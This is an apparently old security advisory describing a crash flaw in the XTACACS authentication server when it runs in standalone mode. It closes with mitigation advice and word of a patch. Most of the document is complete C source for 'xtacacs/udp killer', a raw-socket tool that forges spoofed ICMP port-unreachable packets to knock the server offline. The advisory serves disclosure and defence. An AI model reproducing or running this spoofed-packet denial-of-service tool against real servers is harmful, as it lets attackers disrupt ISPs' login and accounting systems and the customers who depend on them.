COMMAND

    XTACACS

SYSTEMS AFFECTED

    XTACACS authentication server

PROBLEM

    Coaxial Karma found following.   He recently discovered that  when
    an  ISP  was  using  XTACACS  server  from  Vikas  Aggarwal  in  a
    standalone mode, it was possible to make the XTACACS server  crash
    by  sending  it  different  type  of  ICMP  messages.  In order to
    exploit  this,  you  only  have  to  an  ICMP  unreachable message
    specifying port unreachable.  Exploit follows:

    /************************************************************************
     *
     * xtacacs/udp killer v1.0 by Coaxial Karma, c_karma@hotmail.com
     * Modified version of nEWk.c by HyperioN
     *
     * Only few code has been modified: the loop for sending fake ICMP packets
     * has been removed and arguments provided also changed.
     *
     ************************************************************************/

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>

    int size;

    #define RESOLVE_QUIET
    #define IPHDRSIZE sizeof(struct iphdr)
    #define ICMPHDRSIZE sizeof(struct icmphdr)

    unsigned char *dest_name;
    unsigned char *origdest_name;
    unsigned char *spoof_name = NULL;
    struct sockaddr_in destaddr;
    unsigned long origdest_addr;
    unsigned long dest_addr;
    unsigned long spoof_addr;
    unsigned char type;
    unsigned long seq;
    int x=1;
    int cize;
    char *unreachables[] =  {"Network unreachable",
                             "Host unreachable",
                             "Protocol unreachable",
                             "Port unreachable",
                             "Fragmantation needed and DF set",
                             "Source route failed",
                             "Network unknown",
                             "Host unknown",
                             "Source host is isolated",
                             "Network administratively unreachable",
                             "Host administratively unreachable",
                             "Network unreachable - type of service",
                             "Host unreachable - type of service"};

    void banner(void)
         {
            printf("\nxtacacs/udp killer v1.0 by Coaxial Karma\n");
            printf("modified version of nEWk.c (HyperioN)\n");
         }

    void usage(const char *progname)
         {
            printf("usage:\n");
            printf("%s <source> <dest>\n\n",progname);
            printf("\t<source>   : address of fake ICMP packet sender\n");
            printf("\t<dest>     : destination of the unreach message\n");
            printf("\n");
         }

    int resolve( const char *name, struct sockaddr_in *addr, int port )
         {
            struct hostent *host;

            bzero(addr,sizeof(struct sockaddr_in));

            if (( host = gethostbyname(name) ) == NULL )  {
    #ifndef RESOLVE_QUIET
               fprintf(stderr,"unable to resolve host \"%s\" -- ",name);
               perror("");
    #endif
               return -1;
            }

            addr->sin_family = host->h_addrtype;
            memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
            addr->sin_port = htons(port);

            return 0;
         }

    int resolve_one(const char *name, unsigned long *addr, const char *desc)
         {
            struct sockaddr_in tempaddr;
            if (resolve(name, &tempaddr,0) == -1) {
               printf("error: can't resolve the %s.\n",desc);
               return -1;
            }

            *addr = tempaddr.sin_addr.s_addr;
            return 0;
         }

    int resolve_all(const char *origdest,
                    const char *dest,
                    const char *spoof)
         {
            if (resolve_one(origdest,&origdest_addr,"origdest address"))
    return -1;
            if (resolve_one(dest,&dest_addr,"dest address")) return -1;
            if (spoof!=NULL)
              if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;

            destaddr.sin_addr.s_addr = dest_addr;
            destaddr.sin_family      = AF_INET;
            destaddr.sin_port        = 0;
         }


    /*
     * From ping.c (from original nuke.c)
     */
    unsigned short in_cksum(addr, len)
        u_short *addr;
        int len;
    {
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;

        /*
         * Our algorithm is simple, using a 32 bit accumulator (sum), we add
         * sequential 16 bit words to it, and at the end, fold back all the
         * carry bits from the top 16 bits into the lower 16 bits.
         */
        while (nleft > 1)  {
            sum += *w++;
            nleft -= 2;
        }

        /* mop up an odd byte, if necessary */
        if (nleft == 1) {
            *(u_char *)(&answer) = *(u_char *)w ;
            sum += answer;
        }

        /* add back carry outs from top 16 bits to low 16 bits */
        sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
        sum += (sum >> 16);         /* add carry */
        answer = ~sum;              /* truncate to 16 bits */
        return(answer);
    }

    /*
     * This from echok, but with some mods (snuke.c) for unreach.
     */
    inline int icmp_unreach_send(int socket,
                                  struct sockaddr_in *address,
                                  unsigned char icmp_code,
                                  unsigned long spoof_addr,
                                  unsigned long s_addr,
                                  unsigned long t_addr,
                                  unsigned s_port,
                                  unsigned t_port,
                                  unsigned long seq)
         {
            unsigned char packet[4098];
            struct iphdr   *ip;
            struct icmphdr *icmp;
            struct iphdr   *origip;
            unsigned char  *data;
            int i;


            ip = (struct iphdr *)packet;
            icmp = (struct icmphdr *)(packet+IPHDRSIZE);
            origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
            data = (char *)(packet+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);

            memset(packet, 0, 4098);

            ip->saddr    = spoof_addr;
            ip->daddr    = t_addr;
            ip->version  = 4;
            ip->ihl      = 5;
            ip->ttl      = 255-random()%15;
            ip->protocol = IPPROTO_ICMP;
            ip->tot_len  = htons(IPHDRSIZE + size + ICMPHDRSIZE + IPHDRSIZE + 8);
            ip->check    = in_cksum(packet,IPHDRSIZE);

            origip->saddr    = t_addr;   /* this is the 'original' header.
    */
            origip->daddr    = s_addr;
            origip->version  = 4;
            origip->ihl      = 5;
            origip->ttl      = ip->ttl - random()%15;
            origip->protocol = IPPROTO_UDP;
            origip->tot_len  = IPHDRSIZE + 30;
            origip->id       = random()%69;

            origip->check = in_cksum(origip,IPHDRSIZE);

            *((unsigned int *)data)          = htons(s_port);
            *((unsigned int *)(data+2))      = htons(t_port);
            *((unsigned long *)(data+4))     = htonl(seq);

            /* 'original IP header + 64 bits (of bogus TCP header)' made. */

            icmp->type = 3;
            icmp->code = icmp_code;

            icmp->checksum = in_cksum(icmp,size+ICMPHDRSIZE+IPHDRSIZE+8);

            /* the entire ICMP packet it now ready. */

    #ifdef ICMP_PKT_DEBUG
            printf("Packet ready. Dump: \n");
            for (i=0;i<IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8;i++)
               printf("%02X%c",*(packet+i),((i+1)%16) ? ' ' : '\n');
            printf("\n");
    #endif

            return
    sendto(socket,packet,IPHDRSIZE+size+ICMPHDRSIZE+IPHDRSIZE+8,0,
                          (struct sockaddr *)address,sizeof(struct
    sockaddr));

            /* ICMP packet is now over the net. */

         }


    void main(int argc, char * *argv) {
            int s;

            banner();
            if (argc != 3) {
               usage(argv[0]);
               return;
            }

            type = 3;
            seq=31331;
            spoof_name = argv[1];
            dest_name = argv[2];
            origdest_name = argv[1];

            resolve_all(origdest_name, dest_name, spoof_name);

            s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

    #ifdef IP_HDRINCL
            printf("We have IP_HDRINCL :-)\n\n");
            if (setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
            {
            perror("setsockopt IP_HDRINCL");
            exit(1);
            };
    #else
            printf("We don't have IP_HDRINCL :-(\n\n");
    #endif

    if(icmp_unreach_send(s,&destaddr,type,spoof_addr,origdest_addr,dest_addr,49,49,seq++)==
    -1) {
                    printf("%s: error sending packet\n",argv[0]);
    perror("");
                    return;
            }
    }

SOLUTION

    This reinforces  the recommendation  in Vikas'  documentation that
    xtacacsd  be  run  out  of  inetd  in  persistent  mode and not in
    standalone mode.   Having login/logout  control die  will at  best
    generate  a  flurry  of  support  calls  plus  mess  up time-based
    accounting or at worst, cost an ISP customers.  Thankfully  Tacacs
    based clients usually default to "no response = no access", so  it
    only really becomes a security issue if a bogus tacacs server  can
    be  installed  on  the  network  _and_  the  tacacs  servers   are
    configured  to  look  at   it.  (Discounting  forged  udp   tacacs
    responses). However, fix is now evailable.  The daemon was exiting
    if recvfrom()  returned an  error- this  has been  fixed.   A beta
    version of the patched code is at:

        ftp.navya.com